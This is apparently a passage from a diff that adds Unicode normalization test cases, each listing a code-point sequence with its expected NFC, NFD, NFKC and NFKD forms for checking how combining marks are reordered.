+{ source: [0x0061, 0x11A34, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A47, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11A47, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A99, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11A99, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11C3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11C3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11D42, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11D42, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D44, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D44, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D45, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D45, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D97, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D97, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11F41, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11F41, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11F41, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11F41, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11F41, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11F41, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11F41, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11F41, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11F41, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11F41, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11F42, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11F42, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11F42, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11F42, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11F42, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11F42, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11F42, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11F42, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11F42, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11F42, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF0, 0x0062], NFC: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF0, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF1, 0x0062], NFC: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF1, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF1, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF1, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF2, 0x0062], NFC: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF3, 0x0062], NFC: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF4, 0x0062], NFC: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B30, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B30, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B31, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B31, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B32, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B32, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B33, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B33, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B34, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B34, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B35, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B35, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B36, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B36, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x16FF0, 0x0334, 0x16FF0, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x093C, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x16FF0, 0x0334, 0x16FF1, 0x0062], NFC: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF0, 0x16FF1, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF1, 0x093C, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16FF1, 0x16FF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1BC9E, 0x0062], NFC: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1BC9E, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1BC9E, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1BC9E, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D165, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D165, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D166, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D166, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D167, 0x0062], NFC: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D167, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D167, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D167, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D168, 0x0062], NFC: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D168, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D168, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D168, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1D169, 0x0062], NFC: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1D169, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1D169, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1D169, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x1D16D, 0x302E, 0x1D16D, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x05AE, 0x1D16D, 0x302E, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D16E, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D16E, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D16F, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D16F, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D170, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D170, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D171, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1D171, 0x1DFA, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x1DFA, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x031B, 0x1DCE, 0x1D172, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x1DFA, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x1DFA, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x1DFA, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x1DFA, 0x0062] },
